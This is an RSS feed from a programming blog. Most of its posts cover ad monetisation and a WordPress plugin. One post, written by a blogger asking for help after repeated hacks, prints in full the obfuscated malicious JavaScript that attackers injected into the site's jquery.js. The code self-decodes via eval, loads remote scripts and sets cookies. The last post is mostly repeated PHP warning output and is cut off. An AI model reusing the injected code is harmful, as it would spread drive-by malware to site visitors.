<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Emanuele Feronato &#187; WordPress</title>
	<atom:link href="http://www.emanueleferonato.com/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.emanueleferonato.com</link>
	<description>italian geek and PROgrammer</description>
	<lastBuildDate>Tue, 16 Mar 2010 15:55:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>My epic fail with ClickBank</title>
		<link>http://www.emanueleferonato.com/2010/03/15/my-epic-fail-with-clickbank/</link>
		<comments>http://www.emanueleferonato.com/2010/03/15/my-epic-fail-with-clickbank/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 20:23:09 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Monetize]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2526</guid>
		<description><![CDATA[Are you tired of reading about success stories with people making over $20K a day?
Here&#8217;s something new: did you notice, during this month, two ads about Farmville secrets and iPhone application development? Here they are:

These two ads belong to ClickBank, an ad network which at the moment made its clients earn more than a billion [...]]]></description>
			<content:encoded><![CDATA[<p>Are you tired of reading about success stories with people making over $20K a day?</p>
<p>Here&#8217;s something new: did you notice, during this month, two ads about Farmville secrets and iPhone application development? Here they are:</p>
<p><img src="/wp-content/uploads/2010/03/cb03.png" /></p>
<p>These two ads belong to <a href="http://www.clickbank.com/" target = "_blank">ClickBank</a>, an ad network which at the moment made its clients earn more than a billion dollars.</p>
<p>As you can see in these two pictures, I did not earn a cent.</p>
<p><img src="/wp-content/uploads/2010/03/cb02.png" /></p>
<p><img src="/wp-content/uploads/2010/03/cb01.png" /></p>
<p>Let&#8217;s see what happened:</p>
<p><strong>The reasons behind a failure</strong></p>
<p>When I signed up at <a href="http://www.clickbank.com/" target = "_blank">ClickBank</a>, I obviously decided to display ads having something to do with my blog&#8230; this means programming, gaming or monetizing.</p>
<p>The most &#8220;interesting&#8221; products I was able to find were:</p>
<p>* A couple of registry cleaners (??)<br />
* A couple of PS3 scam backup system (scam because you won&#8217;t be able to play with your backups)<br />
* A dozen ebooks about the ULTIMATE (yeah) way to make money with a blog, or with ebay, or whatsoever<br />
* Some hosting services</p>
<p>The first question was: did I really want my readers to buy a useless PS3 backup system? Come on&#8230;</p>
<p>So i opted for a FarmVille guide, even if I am not a FarmVille fan and I hate people posting on Facebook they just found a cripple blind sheep in their damned banana field. All in all FV is a great viral game and I thought a guide would be useful for some addicted players.</p>
<p>The other choice was a guide to iPhone programming&#8230; why not&#8230; I have a lot of programmers among blog readers.</p>
<p><strong>Why it did not work</strong></p>
<p>Well, every blog has its niche readers. Programmers are quite smart&#8230; unlike blogging mogul wannabes, they won&#8217;t buy anything from one-page websites claiming to sell the &#8220;Ultimate Guide to [put your favorite topic here, obviously all uppercase]&#8221;</p>
<p>People like you are looking for real deals from real companies, supported by real case studies&#8230; that&#8217;s why I was <a href="http://www.emanueleferonato.com/2008/01/29/who-refers-wins/">one of the three</a> most important <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiAds</a> referral while I wasn&#8217;t able to sell a single ClickBank guide.</p>
<p><strong>So it was a waste of time. Wait. It wasn&#8217;t</strong></p>
<p>Thanks to my experience, if you have a programming blog you can improve your ads revenue looking for products you can really review, test and suggest, leaving &#8220;ultimate guides&#8221; to newbies.</p>
<p>This obviously is my personal story, and results may vary according to the niche you&#8217;re talking at.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/03/15/my-epic-fail-with-clickbank/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Triqui MochiAds Arcade plugin for WordPress upgraded to 1.2</title>
		<link>http://www.emanueleferonato.com/2010/02/26/triqui-mochiads-arcade-plugin-for-wordpress-upgraded-to-1-2/</link>
		<comments>http://www.emanueleferonato.com/2010/02/26/triqui-mochiads-arcade-plugin-for-wordpress-upgraded-to-1-2/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 11:03:48 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Monetize]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2443</guid>
		<description><![CDATA[Yesterday MochiMedia changed the games feed adding a new field called metascore that screwed the feed parsing.
So I am releasing the new version, compatible with the new feed and tested with WordPress 2.9.2. You can find it at the official page.
Talking about plugins, I am developing a new theme/plugin using crontables that automatically feeds the [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiMedia</a> changed the games feed adding a new field called <code>metascore</code> that screwed the feed parsing.</p>
<p>So I am releasing the new version, compatible with the new feed and tested with WordPress 2.9.2. You can find it at the <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-plugin-for-wordpress-official-page/">official page</a>.</p>
<p>Talking about plugins, I am developing a new theme/plugin using crontables that automatically feeds the games, fixes the tables if <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiMedia</a> updates the feed, and chooses the best games to publish.</p>
<p>Everything without any interaction from the user. The ultimate &#8220;forget about it and make money with your arcade site&#8221; plugin.</p>
<p>Stay tuned.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/02/26/triqui-mochiads-arcade-plugin-for-wordpress-upgraded-to-1-2/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Help needed &#8211; War to hackers</title>
		<link>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/</link>
		<comments>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 10:20:09 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Users contributions]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2050</guid>
		<description><![CDATA[You know this blog has been attacked several times by hackers (or crackers, call them whatever you want, I can&#8217;t tell you how would I call them).

I tried everything, such as 10 ways to secure your WordPress blog and changing the hosting.
Attacks continue, with injection of malicious code in javascript files.
I had my hotsing service, [...]]]></description>
			<content:encoded><![CDATA[<p>You know this blog has been attacked several times by hackers (or crackers, call them whatever you want, I can&#8217;t tell you how would I call them).</p>
<p><img src="http://www.emanueleferonato.com/wp-content/uploads/2009/12/pirates.png" /></p>
<p>I tried everything, such as <a href="http://www.emanueleferonato.com/2009/10/14/10-ways-to-secure-your-wordpress-blog/">10 ways to secure your WordPress blog</a> and changing the hosting.</p>
<p>Attacks continue, with injection of malicious code in javascript files.</p>
<p>I had my hotsing service, HostGator, monitoring the activity on the blog and they said &#8220;We found a few PHP shells on your account and removed this. This indicates that you have insecure scripts on your account. Please review each script and esure that you are running the latest versions&#8221;.</p>
<p>Obviously I am running the latest versions of everything, so I really do not know how to prevent the site for being hacked almost every day.</p>
<p>That&#8217;s why I need you&#8230; I am not a security expert but maybe some of you are.</p>
<p>I need some hints and tips about finding this insecure script and removing it once for all.</p>
<p>I will update this post with all information you need.</p>
<p>If you are a security pro, I can pay for your service or can give you a lifetime ad somewhere in the blog (but I&#8217;d prefer to pay :))</p>
<p><strong>UPDATE #1</strong></p>
<p>The blog has been attacked again. Look how did the modify <code>jquery.js</code> file</p>
<p><img src="http://www.emanueleferonato.com/wp-content/uploads/2009/12/attack.jpg" alt="attack" /></p>
<p>And this is the injected code</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$a<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Z64zZ3dZ22Z2566uZ256ecZ2574ionZ2520Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ252574Z252eZ252577ritZ252565(Z25252Z2532Z2527;Z2563eZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iZ2525Z2537Z2530Z2574Z252520Z25256cZ252561Z256egZ252575Z252561Z2567eZ25253dZ25255cZ252522jZ2561vasZ252563rZ2569Z2570Z252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriZ252570tZ25253eZ2527;evaZ256c(uZ256eZ2565Z2573Z2563apeZ2528t))Z257d;Z22;czZ3dZ22Z2566uncZ2574ioZ256e cZ257a(czZ2529Z257brZ2565tuZ2572n Z2563Z2561+Z2563b+cZ2563Z252bcdZ252bce+Z2563z;}Z253bZ22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;ceZ3dZ223harZ2543odZ2565AtZ2528Z2530Z2529^(Z25270Z257800Z2527+eZ2573)))Z253b}}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;stZ3dZ22Z2573tZ253dZ2522Z2524aZ253dsZ2574;Z2564Z2563sZ2528Z2564Z2561Z252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577Z2528sZ2574)Z253bsZ2574Z253d$Z2561;Z2522;Z22;cdZ3dZ22dst+Z2553trZ2569ng.Z2566Z2572omZ2543hZ2561Z2572Z2543oZ2564e((Z2574Z256dp.Z256Z22;caZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564csZ2528dsZ252cesZ2529Z257bdsZ253dunZ2565scaZ257Z22;opZ3dZ22Z2524aZ253dZ2522dw(Z2564Z2563Z2573(cZ2575Z252cZ2531Z2534Z2529);Z2522;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cbZ3dZ220Z2565(Z2564s)Z253bstZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.lZ256Z22;ccZ3dZ225nZ2567th;Z2569++)Z257btmZ2570Z253dds.sZ256cicZ2565(i,Z2569+1)Z253bstZ253Z22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;Z69Z66 Z28Z64oZ63Z75menZ74.coZ6fkiZ65Z2eindZ65xOfZ28Z27rZ665Z66Z36dsZ27)Z3dZ3d-1)Z7bfuZ6ecZ74Z69oZ6e Z63aZ6clbZ61cZ6b(Z78)Z7bwinZ64ow.Z74w Z3d Z78;vZ61Z72 dZ20Z3d Z6eew Z44Z61te(Z29Z3bdZ2eZ73Z65tZ54Z69mZ65Z28x[Z22as_Z6fZ66Z22]Z2a100Z30)Z3bZ76arZ20h Z3d Z64.geZ74Z55TZ43HZ6fZ75Z72Z73Z28)Z3bwZ69nZ64Z6fZ77.h Z3d hZ3bZ69Z66Z20(Z68 Z3e Z38)Z7bZ64Z2esetZ55TCZ44atZ65(d.Z67eZ74Z55TCDZ61Z74e(Z29 Z2d 2)Z3b}Z65lsZ65Z7bdZ2esetZ55TCZ44atZ65(dZ2egZ65tUZ54CDZ61te(Z29 - Z33)Z3bZ7dwinZ64Z6fZ77Z2eZ67dZ20Z3d Z64;vaZ72 tiZ6de Z3dZ20nZ65Z77Z20ArrZ61y()Z3bvarZ20sZ68iftZ49Z6edeZ78 Z3d Z22Z22;tiZ6de[Z22yeZ61rZ22] Z3d d.gZ65tZ55Z54CZ46uZ6clZ59eZ61rZ28);tZ69Z6deZ5bZ22montZ68Z22] Z3d d.Z67eZ74Z55Z54Z43MonZ74hZ28Z29Z2b1;tZ69me[Z22dZ61yZ22] Z3d d.Z67etZ55TCDZ61teZ28)Z3bZ69fZ20(d.Z67etZ55Z54Z43MZ6fZ6eth(Z29+Z31 Z3c 10)Z7bshiZ66tIZ6edZ65xZ20Z3d timeZ5bZ22yeaZ72Z22] +Z20Z22-0Z22 + (Z64.gZ65tUTZ43MonZ74h(Z29+1)Z3bZ7deZ6csZ65Z7bshiftIZ6eZ64eZ78Z20Z3d tiZ6deZ5bZ22yZ65arZ22] + Z22-Z22 +Z20(d.Z67etZ55TCZ4donZ74h()Z2b1Z29;}iZ66 (Z64.geZ74UTCZ44ateZ28) Z3c Z310)Z7bsZ68iftZ49ndZ65x Z3dshiZ66tInZ64ex Z2b Z22-0Z22 Z2b dZ2egZ65Z74UTCZ44aZ74Z65(Z29;Z7delsZ65Z7bshiftIZ6edeZ78 Z3d Z73hifZ74IndZ65Z78 +Z20Z22Z2dZ22 + dZ2egetZ55Z54Z43DaZ74e()Z3bZ7ddZ6fZ63umZ65Z6etZ2eZ77Z72Z69Z74e(Z22Z3cscrZ22+Z22iptZ20lanZ67uaZ67eZ3djZ61vZ61sZ63riZ70tZ22+Z22 sZ72Z63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77Z69tZ74eZ72.cZ6fmZ2ftrZ65nZ64Z73Z2fZ64aiZ6cy.jZ73oZ6e?dZ61teZ3dZ22+ sZ68ifZ74InZ64Z65x+Z22&amp;caZ6clbZ61cZ6bZ3dcallZ62Z61cZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iZ70tZ3eZ22);}Z20Z66Z75nctZ69oZ6eZ20cZ61lZ6cbacZ6bZ32Z28xZ29Z7bwindZ6fZ77Z2etwZ20Z3d x;scZ28Z27rf5Z666dsZ27,Z32,7Z29Z3bevZ61Z6cZ28uZ6eZ65scZ61Z70Z65(dZ7aZ2bcz+Z6fp+sZ74Z29Z2bZ27dw(dZ7a+Z63z(Z24a+sZ74));Z27Z29Z3bdZ6fcumZ65Z6eZ74.Z77ritZ65($aZ29Z3b}dZ6fcZ75menZ74.wZ72Z69te(Z22Z3cimg Z73rcZ3dZ27httZ70:Z2fZ2fseaZ72Z63h.tZ77ittZ65rZ2ecoZ6dZ2fimagZ65Z73Z2fsearcZ68Z2frZ73s.pZ6egZ27 widtZ68Z3d1 heiZ67htZ3d1 sZ74yleZ3dZ27visibZ69litZ79Z3aZ68iZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75ageZ3djavZ61Z73Z63rZ69ptZ22+Z22 srZ63Z3dZ27httpZ3aZ2fZ2fsearch.twZ69Z74terZ2ecZ6fmZ2ftrendZ73Z2fdailZ79.Z6asoZ6e?cZ61Z6clbZ61Z63kZ3dcallbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};fZ75nZ63tioZ6e scZ28Z63nm,Z76,eZ64Z29Z7bvar Z65xdZ3dnew Z44Z61te(Z29Z3beZ78d.sZ65Z74DZ61teZ28eZ78d.Z67eZ74Z44ateZ28)+eZ64Z29;doZ63Z75Z6dZ65nZ74.cZ6foZ6bieZ3dcnmZ2bZ20Z27Z3dZ27 +escape(Z76)Z2bZ27;eZ78pZ69rZ65sZ3dZ27+eZ78dZ2eZ74Z6fGZ4dTStZ72iZ6eg()Z3b}Z3b&quot;</span><span style="color: #339933;">;</span>function z<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>r<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>for<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span>s.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>s.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #3366CC;">&quot;Z&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>s1<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;%&quot;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">else</span><span style="color: #009900;">&#123;</span>s1<span style="color: #339933;">=</span>s.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span>r<span style="color: #339933;">=</span>r<span style="color: #339933;">+</span>s1<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">return</span> unescape<span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>z<span style="color: #009900;">&#40;</span>$a<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/feed/</wfw:commentRss>
		<slash:comments>41</slash:comments>
		</item>
		<item>
		<title>10 ways to secure your WordPress blog</title>
		<link>http://www.emanueleferonato.com/2009/10/14/10-ways-to-secure-your-wordpress-blog/</link>
		<comments>http://www.emanueleferonato.com/2009/10/14/10-ways-to-secure-your-wordpress-blog/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 22:42:06 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1734</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
As old readers know, my blog has been hacked several times. You can read about my first hack and what to do when your blog has a virus, but now it&#8217;s time to prevent hackers from injecting malware in your WordPress blog.
Follow these simple 10 steps, they aren&#8217;t ordered in any way, just a list [...]]]></description>
			<content:encoded><![CDATA[<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
